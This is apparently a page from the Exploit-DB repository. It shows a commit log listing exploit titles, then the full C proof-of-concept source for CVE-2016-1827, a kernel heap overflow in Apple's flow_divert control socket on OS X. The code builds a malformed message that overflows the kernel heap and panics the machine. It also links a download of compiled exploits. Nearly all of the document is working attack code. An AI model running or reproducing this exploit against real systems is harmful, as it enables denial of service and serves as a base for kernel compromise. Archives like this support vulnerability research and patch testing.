ed0e1e4d44
1979 changes to exploits/shellcodes Couchdb 1.5.0 - 'uuids' Denial of Service Apache CouchDB 1.5.0 - 'uuids' Denial of Service Beyond Remote 2.2.5.3 - Denial of Service (PoC) udisks2 2.8.0 - Denial of Service (PoC) Termite 3.4 - Denial of Service (PoC) SoftX FTP Client 3.3 - Denial of Service (PoC) Silverstripe 2.3.5 - Cross-Site Request Forgery / Open redirection SilverStripe CMS 2.3.5 - Cross-Site Request Forgery / Open Redirection Silverstripe CMS 3.0.2 - Multiple Vulnerabilities SilverStripe CMS 3.0.2 - Multiple Vulnerabilities Silverstripe CMS 2.4 - File Renaming Security Bypass SilverStripe CMS 2.4 - File Renaming Security Bypass Silverstripe CMS 2.4.5 - Multiple Cross-Site Scripting Vulnerabilities SilverStripe CMS 2.4.5 - Multiple Cross-Site Scripting Vulnerabilities Silverstripe CMS 2.4.7 - 'install.php' PHP Code Injection SilverStripe CMS 2.4.7 - 'install.php' PHP Code Injection Silverstripe Pixlr Image Editor - 'upload.php' Arbitrary File Upload SilverStripe CMS Pixlr Image Editor - 'upload.php' Arbitrary File Upload Silverstripe CMS 2.4.x - 'BackURL' Open Redirection SilverStripe CMS 2.4.x - 'BackURL' Open Redirection Silverstripe CMS - 'MemberLoginForm.php' Information Disclosure SilverStripe CMS - 'MemberLoginForm.php' Information Disclosure Silverstripe CMS - Multiple HTML Injection Vulnerabilities SilverStripe CMS - Multiple HTML Injection Vulnerabilities Apache CouchDB 1.7.0 and 2.x before 2.1.1 - Remote Privilege Escalation Apache CouchDB 1.7.0 / 2.x < 2.1.1 - Remote Privilege Escalation Monstra CMS before 3.0.4 - Cross-Site Scripting Monstra CMS < 3.0.4 - Cross-Site Scripting (2) Monstra CMS < 3.0.4 - Cross-Site Scripting Monstra CMS < 3.0.4 - Cross-Site Scripting (1) Navigate CMS 2.8 - Cross-Site Scripting Collectric CMU 1.0 - 'lang' SQL injection Joomla! Component CW Article Attachments 1.0.6 - 'id' SQL Injection LG SuperSign EZ CMS 2.5 - Remote Code Execution MyBB Visual Editor 1.8.18 - Cross-Site Scripting Joomla! Component AMGallery 1.2.3 - 'filter_category_id' SQL Injection Joomla! Component Micro Deal Factory 2.4.0 - 'id' SQL Injection RICOH Aficio MP 301 Printer - Cross-Site Scripting Joomla! Component Auction Factory 4.5.5 - 'filter_order' SQL Injection RICOH MP C6003 Printer - Cross-Site Scripting Linux/ARM - Egghunter (PWN!) + execve(_/bin/sh__ NULL_ NULL) Shellcode (28 Bytes) Linux/ARM - sigaction() Based Egghunter (PWN!) + execve(_/bin/sh__ NULL_ NULL) Shellcode (52 Bytes)
68 lines
No EOL
2 KiB
C
68 lines
No EOL
2 KiB
C
/*
|
|
* flow_divert-heap-overflow.c
|
|
* Brandon Azad
|
|
*
|
|
* CVE-2016-1827: Kernel heap overflow in the function flow_divert_handle_app_map_create on OS X
|
|
* and iOS. Exploitation requires root privileges. The vulnerability was patched in OS X El Capitan
|
|
* 10.11.5 and iOS 9.3.2.
|
|
*
|
|
* This proof-of-concept triggers a kernel panic on OS X Yosemite. In El Capitan the length fields
|
|
* were changed from 64 bits to 32 bits, so the message structure will need to be updated
|
|
* accordingly. This exploit has not been tested on iOS.
|
|
*
|
|
* Download: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/44238.zip
|
|
*/
|
|
|
|
#include <net/if.h>
|
|
#include <string.h>
|
|
#include <sys/sys_domain.h>
|
|
#include <sys/kern_control.h>
|
|
#include <sys/ioctl.h>
|
|
#include <unistd.h>
|
|
|
|
int main() {
|
|
int ctlfd = socket(PF_SYSTEM, SOCK_DGRAM, SYSPROTO_CONTROL);
|
|
if (ctlfd == -1) {
|
|
return 1;
|
|
}
|
|
struct ctl_info info = { .ctl_id = 0 };
|
|
strncpy(info.ctl_name, "com.apple.flow-divert", sizeof(info.ctl_name));
|
|
int err = ioctl(ctlfd, CTLIOCGINFO, &info);
|
|
if (err) {
|
|
return 2;
|
|
}
|
|
struct sockaddr_ctl addr = {
|
|
.sc_len = sizeof(addr),
|
|
.sc_family = AF_SYSTEM,
|
|
.ss_sysaddr = AF_SYS_CONTROL,
|
|
};
|
|
addr.sc_id = info.ctl_id;
|
|
addr.sc_unit = 0;
|
|
err = connect(ctlfd, (struct sockaddr *)&addr, sizeof(addr));
|
|
if (err) {
|
|
return 3;
|
|
}
|
|
struct __attribute__((packed)) {
|
|
uint8_t type;
|
|
uint8_t pad1[3];
|
|
uint32_t conn_id;
|
|
uint8_t prefix_count_tag;
|
|
uint64_t prefix_count_length;
|
|
int prefix_count;
|
|
uint8_t signing_id_tag;
|
|
uint64_t signing_id_length;
|
|
uint8_t signing_id[512 + 4];
|
|
} message = {
|
|
.type = 9,
|
|
.conn_id = htonl(0),
|
|
.prefix_count_tag = 28,
|
|
.prefix_count_length = htonl(sizeof(int)),
|
|
.prefix_count = -2,
|
|
.signing_id_tag = 25,
|
|
.signing_id_length = htonl(sizeof(message.signing_id)),
|
|
.signing_id = { 0xaa },
|
|
};
|
|
write(ctlfd, &message, sizeof(message));
|
|
close(ctlfd);
|
|
return 4;
|
|
} |